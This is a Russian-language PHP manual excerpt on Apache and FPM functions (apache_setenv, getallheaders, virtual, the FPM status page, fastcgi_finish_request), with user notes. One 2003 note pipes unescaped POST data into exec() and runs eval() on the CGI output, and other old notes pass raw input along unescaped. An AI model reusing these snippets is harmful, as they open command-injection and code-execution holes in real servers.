If apache_response_headers() returns an empty array, try calling flush() before and it'll get filled.


Устанавливает переменную subprocess_env Apache

  • « apache_response_headers
  • getallheaders »
  • PHP Manual
  • Функции Apache
  • Устанавливает переменную subprocess_env Apache

apache_setenv

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

apache_setenv — Устанавливает переменную subprocess_env Apache

Описание

apache_setenv(string $variable, string $value, bool $walk_to_top = false): bool

apache_setenv() устанавливает значение переменной окружения Apache, определённой как variable.

Замечание:

При установке переменной окружения Apache, соответствующая ей переменная $_SERVER не изменяется.

Список параметров

variable

Переменная окружения, которую требуется установить.

value

Новое значение переменной variable.

walk_to_top

Делать ли доступной переменную для всех уровней Apache.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования apache_setenv() для установки переменной окружения Apache.

<?php
apache_setenv("EXAMPLE_VAR", "Какое-либо значение");
?>

Примечания

Замечание:

apache_setenv() можно использовать вместе с apache_getenv() на разных страницах или для определения переменных, которые требуется передать включениям на стороне сервера SSI (.shtml), которые, в свою очередь, были включены в PHP-скрипты.

Смотрите также

  • apache_getenv() - Возвращает переменную окружения подпроцесса сервера Apache

User Contributed Notes

RLG 10-Jan-2006 04:16
If you are using mod_gzip or mod_deflate to compress HTML output, you're not able to send partial file to the browser....

To disable mod_deflate in PHP (if needed), you can tell Apache with this :

apache_setenv('no-gzip', '1');
guilleva at gmail dot com 28-Jul-2005 10:25
When you need to set the QUERY_STRING variable into a page included with the "virtual" function do this:

virtual ("some_page.shtml?$QUERY_STRING");

apache_setenv does not work for this case.
phpnotes at kipu dot co dot uk 03-Jun-2003 06:34
If you set a variable, either new or existing, the corresponding $_SERVER variable is not changed, and you will have to change it as well.
sixxgate at yahoo dot com 22-Jan-2003 03:56
When you want to set variables to pass to Server Side Includes (.shtml) included in PHP scripts, use this.


Возвращает все заголовки HTTP-запроса

  • « apache_setenv
  • virtual »
  • PHP Manual
  • Функции Apache
  • Возвращает все заголовки HTTP-запроса

getallheaders

(PHP 4, PHP 5, PHP 7, PHP 8)

getallheaders — Возвращает все заголовки HTTP-запроса

Описание

getallheaders(): array

Возвращает все заголовки для текущего HTTP-запроса.

Эта функция является псевдонимом функции apache_request_headers(). Пожалуйста, обратитесь к описанию функции apache_request_headers() для получения детальной информации о её работе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ассоциативный массив, содержащий все HTTP-заголовки для данного запроса или false в случае возникновения ошибок.

Список изменений

Версия | Описание
7.3.0 | Эта функция стала доступна в SAPI FPM.

Примеры

Пример #1 Пример использования getallheaders()

<?php

foreach (getallheaders() as $name => $value) {
echo "$name: $value\n";
}

?>

Смотрите также

  • apache_response_headers() - Возвращает список всех HTTP-заголовков ответа Apache

User Contributed Notes

divinity76 at gmail dot com 18-Jan-2023 02:21
warning, at least on php-fpm 8.2.1 and nginx,  getallheaders() will return "Content-Length" and "Content-Type" both containing emptystring, even for requests without any of these 2 headers. you can do something like

<?php
$request_headers = getallheaders();
if(($request_headers["Content-Type"] ?? null) === "" && ($request_headers["Content-Length"] ?? null) === "") {
    // probably a getallheaders() bug, not actual request headers.
    unset($request_headers["Content-Type"], $request_headers["Content-Length"]);
}
?>

- might be a bug in nginx rather than php-fpm, i don't know. anyway a real request wouldn't leave them at emptystring
Dimitri 22-Jun-2022 09:09
retrieve token from header:

<?php
function getAuthorizationHeader(){
    $headers = null;
    if (isset($_SERVER['Authorization'])) {
        $headers = trim($_SERVER["Authorization"]);
    }
    elseif (isset($_SERVER['HTTP_AUTHORIZATION'])) {
        $headers = trim($_SERVER["HTTP_AUTHORIZATION"]);
    }
    elseif (function_exists('apache_request_headers')) {
        $requestHeaders = apache_request_headers();
        $requestHeaders = array_combine(array_map('ucwords', array_keys($requestHeaders)), array_values($requestHeaders));

        if (isset($requestHeaders['Authorization'])) {
            $headers = trim($requestHeaders['Authorization']);
        }
    }

    return $headers;
}

function getBearerToken() {
    $headers = getAuthorizationHeader();

    if (!empty($headers)) {
        if (preg_match('/Bearer\s(\S+)/', $headers, $matches)) {
            return $matches[1];
        }
    }

    return null;
}

echo getBearerToken();
?>
michaelmcandrew at thirdsectordesign dot org 28-Feb-2020 11:18
A simple approach to dealing with case insenstive headers (as per RFC2616) is via the built in array_change_key_case() function:

$headers = array_change_key_case(getallheaders(), CASE_LOWER);
andersmyren at hotmail dot com 25-Jul-2019 07:52
Due to the else part.
}else{
                    $out[$key]=$value;
All server Variables are added to the headers list, and that's not the desired outcome.
Anonymous 11-Feb-2016 06:49
There's a polyfill for this that can be downloaded or installed via composer:

https://github.com/ralouphie/getallheaders
acidfilez at gmail dot com 07-Jun-2011 09:16
dont forget to add the content_type and content_lenght if your are uploading file:

<?php
  function emu_getallheaders() {
        foreach ($_SERVER as $name => $value)
       {
           if (substr($name, 0, 5) == 'HTTP_')
           {
               $name = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))));
               $headers[$name] = $value;
           } else if ($name == "CONTENT_TYPE") {
               $headers["Content-Type"] = $value;
           } else if ($name == "CONTENT_LENGTH") {
               $headers["Content-Length"] = $value;
           }
       }
       return $headers;
    }
?>

chears magno c. heck
majksner at gmail dot com 08-Sep-2010 10:24
apache_request_headers replicement for nginx

<?php
if (!function_exists('apache_request_headers')) {
        function apache_request_headers() {
            foreach($_SERVER as $key=>$value) {
                if (substr($key,0,5)=="HTTP_") {
                    $key=str_replace(" ","-",ucwords(strtolower(str_replace("_"," ",substr($key,5)))));
                    $out[$key]=$value;
                }else{
                    $out[$key]=$value;
        }
            }
            return $out;
        }
}
?>
joyview at gmail dot com 06-Jul-2008 08:52
it could be useful if you using nginx instead of apache

<?php
if (!function_exists('getallheaders'))
{
    function getallheaders()
    {
           $headers = [];
       foreach ($_SERVER as $name => $value)
       {
           if (substr($name, 0, 5) == 'HTTP_')
           {
               $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
           }
       }
       return $headers;
    }
}
?>
lorro at lorro dot hu 19-Apr-2005 06:25
Beware that RFC2616 (HTTP/1.1) defines header fields as case-insensitive entities. Therefore, array keys of getallheaders() should be converted first to lower- or uppercase and processed such.


Выполняет подзапрос Apache

  • « getallheaders
  • Менеджер процессов FastCGI »
  • PHP Manual
  • Функции Apache
  • Выполняет подзапрос Apache

virtual

(PHP 4, PHP 5, PHP 7, PHP 8)

virtual — Выполняет подзапрос Apache

Описание

virtual(string $uri): bool

Функция virtual() специфична для сервера Apache и является эквивалентом конструкции <!--#include virtual...-->, используемой в mod_include. Данная функция выполняет подзапрос Apache. Это бывает полезным в тех случаях, когда необходимо включить в свой скрипт результат выполнения других CGI-скриптов или файлов .shtml, а также добавления всего, что должно быть обработано Apache. Обратите внимание, что CGI-скрипты должны отдавать корректные CGI-заголовки. Как минимум, CGI-скрипт должен создавать заголовок Content-Type.

Перед тем, как осуществится выполнение подзапроса, все буферы сбрасываются и выдаются в браузер, при этом отсылаются заголовки, помещённые в буфер.

Эта функция поддерживается только если PHP установлен в качестве модуля Apache в веб-серверах.

Список параметров

uri

Имя файла, для которого будет выполнен подзапрос.

Возвращаемые значения

Результат выполнения подзапроса в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример использования смотрите в функции apache_note().

Примечания

Внимание

Строка запроса может быть передана вызываемому файлу, однако значение переменной $_GET будет скопировано из родительского скрипта, лишь $_SERVER['QUERY_STRING'] будет содержать переданную строку запроса. Строка запроса может быть передана только при использовании Apache 2. Запрошенный файл не будет отражён в журнале доступа (access log) Apache.

Замечание:

Переменные окружения, установленные в запрошенном файле, не видимы из вызвавшего его скрипта.

Замечание:

Эта функция может быть использована в PHP-скрипте, но, обычно, более правильным будет выбрать include или require.

Смотрите также

  • apache_note() - Возвращает и устанавливает уведомления к запросу Apache

User Contributed Notes

php at nagler-ihlein dot de 10-Jan-2020 01:22
Starting with 7.2 various session related things were changed and it seems part of it is conflicting with virtual(). Calling it you may receive a "PHP Warning:  virtual(): Headers already sent. You cannot change the session module's ini settings at this time in ..." although no header was set and virtual() should simply provide static content from a file.

It took half a day to find out that some main session.configuration.php settings (e.g. save_handler, serialize_handler, or save_path) in the Apache config (all levels) are causing this. It seems the settings are regarded as likely to change headers but virtual() is already beyond sending them. Unfortunately the warning is then not only logged to error_log but also part of the content virtual() sends to the client which screws it up - the format of the content like binary image data is no more correct.

If you do not need php's session management you can remove all session.* settings in your apache configuration to avoid the warning. Otherwise a workaround is to switch off E_WARNING before calling virtual().

<?php
$filename = '/data/image.jpg';
$level = error_reporting();
error_reporting($level & ~E_WARNING);
virtual($filename);
error_reporting($level);
?>
Peter Kehl 12-Jan-2013 03:47
This documentation is not clear enough. Parameter $filename is not a filename as on the filesystem, but a URI. It can be absolute, starting with /, or relative to URI that involved the PHP script which called virtual(). (I.e. if the PHP script that calls virtual() is invoked via PHP require/require_once/include/include_once mechanism and it passes a relative URI to virtual(), then that URI must be relative to the URI of the topmost PHP script on the inclusion stack.)

Not sure how relative URIs work if the request which calls virtual() was processed through Apache rewrite rules.
jhibbard at gmail dot com 09-Dec-2009 02:42
While the virtual() function has it's promising sides, there exists issues when using it in relation to a cache system such as eAccellerator.  The issue becomes that the first time you load with a virtual file, it will seem to work fine.  But once the cache is put into play, the virtual call will end up returning nothing at all, and basically returning a blank page.

Please realize that this is not an issue with virtual(), but instead an issue of the cacheing application.  Should anyone else have a similar issue, hopefully this will shed some light onto this subject.

Jonathon Hibbard
phpforum at joolee dot nl 04-Feb-2009 12:00
Problem with most of the scripts posted below is that virtual() flushes the pending headers before making the subrequest. Requesting an image with virtual() still returns a text/html type document.
A workaround is to set the content-type first. But that requires getting the content-type first.

I'm using the following script for now. A disadvantage is that Apache makes 2 subrequests.

<?PHP
$file = '/resources/7z.gif';
$file_info = apache_lookup_uri($file);
header('content-type: ' . $file_info -> content_type);
virtual($file);
die();
?>
Anonymous at spam dot org 08-May-2007 05:13
Note that QUERY_STRING seems to get inherited, so to make a virtual request WITHOUT one, one needs to explicitly append a "?" to the URL of the sub-request (to cause the creation of a "null" query string).  Of course, if the desired URL has its own query string, that will override and an additional "?" should not be appended.

This was with PHP 4.4.7 (released May 2007).
vcaron at bearstech dot com 07-Jul-2006 03:26
You can use virtual() to implement your own dispatcher/auth handler in an efficient and effective way.

For instance if you have a bunch of images you would like to be served statically by Apache (its job after all), but with a more com
plex access pattern than mod_access allows you to do (say a MySQL lookup with your app logic), try this simple Apache rule:

  Order Allow,Deny
  Allow from env=PHP_ALLOW

Then in your PHP script, before sending any content or header:

<?php
$image = "/some/URL/path/test.png";
if (client_may_view_image($image)) {
  apache_setenv('PHP_ALLOW', '1');
  if (virtual($image))
    exit(0);
  echo "Ops, failed to fetched granted image $image (hammer your webmaster).\n";
} else
  echo "Sorry buddy, you're not allowed in here.\n";
?>

Of course very Apache-ish, but it's much more efficient and uniform to rely on Apache rather than passthru() and mime_content_type()
 hacks : it does the path lookup and auth/security audit as the admin expects, use the best static serving it can (think 'sendfile')
 and you can even chain your request with another embedded script eg. in mod_perl.
ruibal_DELETED_p*AT*gmail__dot__com 05-Feb-2006 03:04
when php is installed as an apache module, this works pretty well for writing your own php preprocessor/information logger. For example, requests to any URI underneath pre.php will first be executed by pre.php, then returned to the user.
<?
$docroot        = $_SERVER['DOCUMENT_ROOT'];
$script_root    = str_replace( basename($_SERVER['SCRIPT_NAME']),'',$_SERVER['SCRIPT_NAME'] );
$script_ext     = substr( $_SERVER['SCRIPT_NAME'], strrpos( $_SERVER['SCRIPT_NAME'],'.' ) );
$fakework_root  = $script_root.basename( $_SERVER['SCRIPT_NAME'] ).'/';
$framework_root = $script_root.'_'.basename( $_SERVER['SCRIPT_NAME'], $script_ext ).'/';
$frequest_root  = dirname( $framework_root.substr( $_SERVER['PATH_INFO'], 1 )).'/';
$frequest_name  = basename( $_SERVER['PATH_INFO'] );
$frequest_ext   = (strrpos($frequest_name,'.')===FALSE ? FALSE : strtolower(substr( $frequest_name, ( strrpos( $frequest_name, '.' )+1 ) ) ) );
$frequest_full  = $frequest_root.$frequest_name;
$doc_frequest   = $docroot.$frequest_full;
$doc_framework   = $docroot.$framework_root;

$DO_PARSE = in_array( $frequest_ext, $chk_exts );
if( $DO_PARSE )
{
    $tmpfname = tempnam( $doc_framework.'tmp', 'aj_' ).($frequest_ext? ('.'.$frequest_ext) : '');
    if( ($to_parse=@file_get_contents($doc_frequest))===FALSE )
        $to_parse="404";
    $tmpvname = str_replace( $docroot, '', $tmpfname );
    $tmpvname = str_replace( '\\\\', '/', $tmpvname );
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
//  Do processing of data stored in $to_parse
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
    $to_parse = striptags( $to_parse );

// - - - - - - - - - - - - - - - - - - - - - - - - - - -
    $handle = fopen($tmpfname, "w");
    fwrite($handle, $to_parse);
    fclose($handle);
    @virtual( $tmpvname.$getvars );
    unlink( $tmpfname );
}
else
    @virtual( $frequest_full.$getvars );

?>

So all files in http://server/sub/pre.php/path/ are really located in http://server/sub/_pre/path/

All this needs is some kind of caching mechanism.

But yeah, this could be modified to add watermarks with the image functions, convert to xml with Tidy, check for extensions better with mimeTypes, proxy content with cURL, validate $_SERVER['HTTP_REFERER'] or $_SERVER['HTTP_USER_AGENT'], etc etc

This gives you much more over than the auto_prepend_file, and auto_append_file, for certain functionality

The key is the virtual function _because_ it delivers the modified content with an apache subrequest.
abentley at panoramicfeedback dot com 17-Jun-2003 10:29
Here's an update to tomwk's code:
function safe_virtual( $filename )
{
   $curDir = getcwd();
   virtual ( $filename );
   chdir( $curDir );
}

This is better if you've already changed your current directory to be something other than your script's directory.  It works for PHP4 and above.
php at n-wise dot com 02-Jan-2003 11:15
I saw the note above about the length of the query string... but didn't know what it was, so have altered the code so it can post to the script.
Probly only works on nix systems as it makes use of the echo function...
This code also will look evaluate the result, so you can get cgi to dynamically create PHP (probly best to watch out that posted variables do not include script!)
<?
$CGISCRIPT="./cgi-bin/cgiscript.cgi";
 // preparing the arguments passed to this PHP page
$QSTRING = $QUERY_STRING;

foreach ($HTTP_POST_VARS as $header=> $value ){
 if($QSTRING==""){
    $QSTRING = $header.'='.urlencode($value);
 }else{
    $QSTRING = $QSTRING.'&'.$header.'='.urlencode($value);
 }
}

putenv('REQUEST_METHOD=POST');
putenv('CONTENT_TYPE=application/x-www-form-urlencoded');
putenv('CONTENT_LENGTH='.strlen($QSTRING));
putenv('QUERY_STRING='.$QSTRING);
unset($return_array);
exec('echo "'.$QSTRING.'"| '.$CGISCRIPT, $return_array, $return_val);

//The 1st line of my script was "Content...." ... so remove it!
$firstline=array_shift($return_array);
//evaluate the code
eval('?>'.implode($return_array,''));

?>
chardin at ssc dot wisc dot edu 07-Nov-2002 03:00
If you are having problems using virtual include becuase of files being stored in different directories, a root-relative path will make things much easier:

virtual ("/root directory/directory/filename.htm/");

where root directory is the root directory of your site (ask your sys admin if you dont know what it is) Don't include the protocol or host name.

This will also allow you to move your files around your site without having to redirect your includes which is *very* helpfull
crazyted at crazyted dot com 10-Jan-2002 11:57
I have a header that's include()'ed on each of my pages. I then wanted to add a Perl script to that header file (header.php) via the virtual() command.

Since my header is used by documents in my /www folder along with other folders inside that (and inside those), and virtual() seems to take only relative paths, I had to write some code to dynamically get the path to the perl script.

Hope this helps some ppl out:

  $cwd = getcwd();
  $script_name = "cgi-bin/perl_script.pl";
  $count = substr_count($cwd, '/');
  $count = $count - 3;
  // get rid of extra absolute paths since my directory is /home/user/www

  // Add additional path information
  for($i = 1; $i <= $count; $i++){
    $script_name = "../".$script_name;
  }
  virtual($script_name);
s dot dan at free dot fr 31-Jul-2001 08:43
Another way of passing arguments:
If you have some CGI programs that depend on some libraries where you can't change the source code (in my case an online payment library), you can pass the arguments by changing some environment variables.

Of course the CGI program has to get the GET/POST variables in the usual manner.
It simulates, more or less, a direct call from the server to a CGI program:

// preparing the arguments passed to this PHP page
$QSTRING = $QUERY_STRING;

// pay attention to the maximum length of the QUERY string.
while (list ($header, $value) = each ($HTTP_POST_VARS)){
  if (empty($QSTRING))
    $QSTRING = $header.'='.$value;
 else
    $QSTRING = $QSTRING.'&'.$header.'='.$value;
}

putenv('REQUEST_METHOD=GET');
putenv('QUERY_STRING='.$QSTRING);

unset($return_array);
exec('my_CGI', $return_array, $return_val);

Now you can parse the output of 'my_CGI' in return_array.
logang at deltatee dot com 26-Apr-2001 07:21
If you want to pass all post and get values to the cgi script you can use this code:

<?php
$QSTRING = $QUERY_STRING;
while (list ($header, $value) = each ($HTTP_POST_VARS))
{
   $QSTRING = $QSTRING.'&'.$header.'='.$value;
}

virtual($script.'?'.$QSTRING);
?>

It takes all the values of $HTTP_POST_VARS and appends them in the proper format to the values you get in $QUERY_STRING
david at audiogalaxy dot com 28-Nov-1999 10:44
Virtual returns the HTTP entity header after the requested file, when it's the first output to the page.

The work-around to prevent seeing the header is, of course, to output something (such as echo " "; ) before calling virtual.


Менеджер процессов FastCGI

  • Введение
  • Установка и настройка
  • Наблюдаемость
    • Страница состояния
  • Функции FPM
    • fastcgi_finish_request — Сбрасывает все запрошенные данные клиенту
    • fpm_get_status — Возвращает текущее состояние пула FPM

User Contributed Notes

There are no user contributed notes for this page.


Введение

FPM (FastCGI Process Manager, менеджер процессов интерфейса FastCGI) — основная реализация интерфейса FastCGI для PHP, которая в основном содержит функционал, полезный для высоконагруженных сайтов.

SAPI встроен в PHP.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Информация об установке и настройке FPM доступна в разделе установка и настройка документации PHP.

User Contributed Notes

There are no user contributed notes for this page.


Наблюдаемость

Содержание

  • Страница состояния

User Contributed Notes

There are no user contributed notes for this page.


Страница состояния

На этой странице представлена информация о настройке и содержании страницы состояния менеджера процессов FPM. Смотрите также описание функции fpm_get_status().

Настройка

Страницу состояния FPM включают установкой параметра конфигурации pm.status_path в конфигурации пула FPM.

Предостережение

В целях безопасности страницу состояния FPM ограничивают внутренними запросами или известными IP-адресами клиентов, поскольку страница показывает URL-адрес запроса и информацию о доступных ресурсах.

От конфигурации веб-сервера зависит, нужно ли в настройках сервера разрешать запросы непосредственно к этому пути, минуя любые PHP-скрипты. Пример конфигурации для сервера Apache с менеджером процессов FPM, слушающим на UDS, и директивой pm.status_path с установленным значением /fpm-status будет выглядеть следующим образом:

<LocationMatch "/fpm-status">
 Order Allow,Deny
 Allow from 127.0.0.1
 ProxyPass "unix:/var/run/php-fpm.sock|fcgi://localhost/fpm-status"
</LocationMatch>

После перезагрузки или перезапуска менеджера FPM и веб-сервера страница состояния будет доступна из браузера (при условии, что запрос поступает с разрешённого IP-адреса, если было настроено ограничение IP-адресов).

Параметры запроса

Формат вывода страницы состояния изменяют путём указания одного из следующих параметров запроса:

  • html
  • json
  • openmetrics
  • xml

Дополнительная информация также возвращается с параметром запроса full.

Примеры URL-адресов страниц состояния:

  • https://localhost/fpm-status — Краткий вывод в текстовом формате по умолчанию
  • https://localhost/fpm-status?full — Полный вывод в текстовом формате по умолчанию
  • https://localhost/fpm-status?json — Краткий вывод в формате JSON
  • https://localhost/fpm-status?html&full — Полный вывод в формате HTML

Отображаемая информация

В данных вывода в форматах JSON и XML значения даты и времени выводятся в формате метки времени UNIX, иначе они выводятся в формате, который даёт следующий пример даты: "03/Jun/2021:07:21:46 +0100".

Основная информация — каждый раз отображается на странице состояния
Параметр | Описание
pool | Имя пула процессов FPM.
proccess manager | Тип менеджера процесса — static (статический), dynamic (динамический) или ondemand (по требованию).
start time | Дата и время последнего запуска пула процессов.
start since | Время в секундах с момента последнего запуска пула процессов.
accepted conn | Общее количество принятых соединений.
listen queue | Количество запросов (backlog), ожидающих свободного процесса.
max listen queue | Максимальное количество запросов в очереди на прослушивание в любой момент времени.
listen queue len | Максимально допустимый размер очереди прослушивания.
idle processes | Количество процессов, которые в настоящее время простаивают (ожидают запросов).
active processes | Количество процессов, которые в настоящее время обрабатывают запросы.
total processes | Текущее общее количество процессов.
max active processes | Максимальное количество одновременно активных процессов.
max children reached | Было ли достигнуто максимальное количество процессов? Если да, то отображаемое значение будет больше или равно 1, иначе значение будет равно 0.
slow requests | Общее количество запросов, которые достигли настроенного request_slowlog_timeout.
Информация о каждом процессе — отображается только в режиме вывода full
Параметр | Описание
pid | Системный PID-идентификатор процесса.
state | Состояние процесса — Idle, Running, ...
start time | Дата и время начала процесса.
start since | Количество секунд с момента начала процесса.
requests | Общее количество обслуженных запросов.
request duration | Общее время в микросекундах, затраченное на обслуживание последнего запроса.
request method | Метод HTTP последнего обслуженного запроса.
request uri | URI-идентификатор последнего обслуженного запроса (после обработки веб-сервером он всегда может быть равен /index.php, если вы используете шаблонный редирект фронт-контроллера).
content length | Длина тела запроса, в байтах, последнего запроса.
user | HTTP-пользователь (PHP_AUTH_USER) последнего запроса.
script | Полный путь к скрипту, который выполнил последний запрос. Это будет '-', если не применимо (например, запросы страницы состояния).
last request cpu | Процент занятого центральным процессором времени при выполнении последнего запроса. Это значение будет равно 0, если процесс не в состоянии Idle, потому что вычисление проводится после окончания обработки запроса. Значение может превысить 100 %, потому что метрика покажет, какой процент от общего времени работы процессора занял последний запрос, — в расчёте менеджер учтёт процессы на каждом ядре, тогда как 100 % — это значение только для одного ядра.
last request memory | Максимальный объем памяти, который потребил последний запрос. Это значение будет равно 0, если процесс не простаивает, поскольку вычисление проводится после окончания обработки запроса.

Замечание:

Все значения специфичны для пула и сбрасываются при перезапуске менеджера FPM.

Замечание:

Данные вывода в формате стандарта OpenMetrics используют различные типы параметров, чтобы лучше соответствовать формату OpenMetrics. Параметры и описания их значений включаются в данные вывода формата OpenMetrics.

Список изменений

Версия | Описание
8.1.0 | Добавлен формат OpenMetrics.

User Contributed Notes

ninsuo 31-Mar-2024 09:19
For caddy 2, you may use the following configuration:

http://localhost {
    root * /var/www/public

    reverse_proxy /status php_fpm:9000 {
        transport fastcgi {
            env SCRIPT_NAME /status
        }
    }

    encode gzip zstd

    php_fastcgi php_fpm:9000
    file_server
}

Replace php_fpm:9000 by the host/port of your php fpm or the path of your unix// socket.
Mark Gooderum 31-Jan-2024 12:43
Anonymous is correct.

So the URI has to match the pm.status_path in the pool configuration and in turn the Apache Location configuration.  The same applies to ping.path.

Ergo If you want multiple PHP FPMs exposed on the same Apache each needs their own unique path.  Also from experience Apache 8 FPM status_listen doesn't seem to work with the domain socket, only TCP.  Obviously for 8.x you'll need unique port numbers for each PHP FPM and they need to match between the pm.status_listen and the Apache ProxyPass line.

So imagine I want FPM status and ping exposed for 7.4 and 8.2.

I then have an Apache config like:

<LocationMatch "/fpm-ping-74">
        Order Deny,Allow
        Require local
        ProxyPass "unix:/run/php/php7.4-fpm.sock|fcgi://localhost"
</LocationMatch>
<LocationMatch "/fpm-status-74">
        Order Deny,Allow
        Require local
        IncludeOptional trusted-ips.conf
        ProxyPass "unix:/run/php/php7.4-fpm.sock|fcgi://localhost"
</LocationMatch>

<LocationMatch "/fpm-ping-82">
        Order Deny,Allow
        Require local
        IncludeOptional trusted-ips.conf
        ProxyPass "unix:/run/php/php8.2-fpm.sock|fcgi://localhost:9002"
</LocationMatch>
<LocationMatch "/fpm-status-82">
        Order Deny,Allow
        Require local
        ProxyPass "unix:/run/php/php8.2-fpm.sock|fcgi://localhost:9002"
</LocationMatch>

Then in the respective pool config files:

7.4/fpm/pool.d/www.conf:

; status_listen default works in 7.4
pm.status_path = /fpm-status-74
ping.path = /fpm-ping-74

8.2/fpm/pool.d/www.conf:

; Need an explicit TCP listen in 8.x - why?
pm.status_listen = 127.0.0.1:9002
pm.status_path = /fpm-status-82
ping.path = /fpm-ping-82
Anonymous 27-Aug-2023 06:58
there is an error in the docs, if you want to use with fastcgi, the correct link in ProxyPass is not

ProxyPass "unix:/var/run/php-fpm.sock|fcgi://localhost/fpm-status"

but only

ProxyPass "unix:/var/run/php-fpm.sock|fcgi://localhost"

otherwise the page says "File not found"
uwe at ohse dot de 23-Oct-2022 10:16
Before someone else misunderstands that:
  "request duration    The total time in seconds spent serving requests."

This is not the total time of all requests done by that process, but either the time used by the last request done (idle state), or the current request (all other states).

And the number given is not in seconds, but in microseconds.

The fpm status documentation is a mess.


Функции FPM

Содержание

  • fastcgi_finish_request — Сбрасывает все запрошенные данные клиенту
  • fpm_get_status — Возвращает текущее состояние пула FPM

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает все запрошенные данные клиенту

  • « Функции FPM
  • fpm_get_status »
  • PHP Manual
  • Функции FPM
  • Сбрасывает все запрошенные данные клиенту

fastcgi_finish_request

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

fastcgi_finish_request — Сбрасывает все запрошенные данные клиенту

Описание

fastcgi_finish_request(): bool

Эта функция сбрасывает все запрошенные данные клиенту и завершает обработку запроса. Это позволяет выполнять длительные задачи без поддержания связи с клиентом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

john at jrcii dot com 10-Jan-2024 08:12
mike@php.net decided this https://bugs.php.net/bug.php?id=68772 is "not a bug" however be warned:

If you write to the buffer (using print statements, etc.) after calling fastcgi_finish_request(), your script will exit with no error message or exception. Calling ignore_user_abort(true) after fastcgi_finish_request() can mitigate this issue.
rundiz dot com 16-Aug-2021 10:38
Here are few example of how to using it.

The first is basic example.

<?php
$file = __DIR__ . '/text.txt';

if (is_file($file) && is_writable($file)) {
    @unlink($file);
    echo '<small style="color: #ccc;">' . $file . ' was deleted.</small><br>' . PHP_EOL;
}

echo '<p>Calling to <code>fastcgi_finish_request()</code>.</p>' . PHP_EOL;

echo '<p>If success, the file ' . $file . ' will be created.</p>' . PHP_EOL;

if (function_exists('fastcgi_finish_request')) {
    fastcgi_finish_request();
} else {
    echo '<p style="color: red;">This server does not support <code>fastcgi_finish_request()</code> function.</p>' . PHP_EOL;
    echo 'Exit now.<br>' . PHP_EOL;
    exit();
}

echo 'This line will be not echo out.<br>' . PHP_EOL;

file_put_contents($file, date('Y-m-d H:i:s') . PHP_EOL, FILE_APPEND);
?>

The file text.txt will be create if successfully.

==========================

The second is about execution timeout.

<?php
set_time_limit(5);

$file = __DIR__ . '/text.txt';

if (is_file($file) && is_writable($file)) {
    @unlink($file);
    echo '<small style="color: #ccc;">' . $file . ' was deleted.</small><br>' . PHP_EOL;
}

echo '<p>Testing timeout and <code>fastcgi_finish_request()</code> function.</p>' . PHP_EOL;

echo '<p>Set timeout to ' . ini_get('max_execution_time') . ' seconds.</p>' . PHP_EOL;

echo '<p>Calling to <code>fastcgi_finish_request()</code>.</p>' . PHP_EOL;

echo '<p>If success, the file ' . $file . ' will be created but error will be shown in the log.</p>' . PHP_EOL;

if (function_exists('fastcgi_finish_request')) {
    fastcgi_finish_request();
} else {
    echo '<p style="color: red;">This server does not support <code>fastcgi_finish_request()</code> function.</p>' . PHP_EOL;
    echo 'Exit now.<br>' . PHP_EOL;
    exit();
}

$i = 1;
while(true){
    if ($i <= 10) {
        file_put_contents($file, date('Y-m-d H:i:s') . PHP_EOL, FILE_APPEND);
        $i++;
    }
    //to infinity and beyond...
}
?>

I found that the code will be working as long as it is not reach timeout setting in php.ini or set_time_limit() function.
Patrick Allaert 03-Jun-2021 03:54
This is very poor man's approach to async execution.

Better relying on message queues to process something asynchronously.
tuxrampage 04-Aug-2016 09:29
There are some pitfalls  you should be aware of when using this function.

The script will still occupy a FPM process after fastcgi_finish_request(). So using it excessively for long running tasks may occupy all your FPM threads up to pm.max_children. This will lead to gateway errors on the webserver.

Another important thing is session handling. Sessions are locked as long as they're active (see the documentation for session_write_close()). This means subsequent requests will block until the session is closed.

You should therefore call session_write_close() as soon as possible (even before fastcgi_finish_request()) to allow subsequent requests and a good user experience.

This also applies for all other locking techniques as flock or database locks for example. As long as a lock is active subsequent requests might bock.


Возвращает текущее состояние пула FPM

  • « fastcgi_finish_request
  • Модули для работы с сессиями »
  • PHP Manual
  • Функции FPM
  • Возвращает текущее состояние пула FPM

fpm_get_status

(PHP 7 >= 7.3, PHP 8)

fpm_get_status — Возвращает текущее состояние пула FPM

Описание

fpm_get_status(): array|false

Функция возвращает полный текущий статус пула FPM в виде ассоциативного массива. Она всегда возвращает полный статус, включая информацию о состоянии каждого процесса. Смотрите руководство по странице состояния FPM для более подробной информации.

Обратите внимание, что функция будет определена только в том случае, если для обслуживания скрипта используется FPM.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция возвращает ассоциативный массив, содержащий полный статус пула FPM или false, если возникла ошибка.

User Contributed Notes

Ehsan Chavoshi 19-Feb-2023 11:12
Use this script to get a single page for fpm status:
https://gist.github.com/EhsanCh/97187902e905a308ce434bda6730073c


Модули для работы с сессиями

  • Сессии — Управление сессиями
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Отслеживание прогресса загрузки файлов с помощью сессий
    • Безопасность сессий
    • Функции для работы с сессиями
    • SessionHandler — Класс SessionHandler
    • SessionHandlerInterface — Класс SessionHandlerInterface
    • SessionIdInterface — Интерфейс SessionIdInterface
    • SessionUpdateTimestampHandlerInterface — Интерфейс SessionUpdateTimestampHandlerInterface

User Contributed Notes

There are no user contributed notes for this page.


Управление сессиями

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Основы использования
    • Передача идентификатора сессии
    • Пользовательские обработчики сессии
  • Отслеживание прогресса загрузки файлов с помощью сессий
  • Безопасность сессий
    • Базовые принципы управления сессиями
    • INI-настройки безопасности сессий
  • Функции для работы с сессиями
    • session_abort — Отменяет изменения в массиве сессии и завершает её
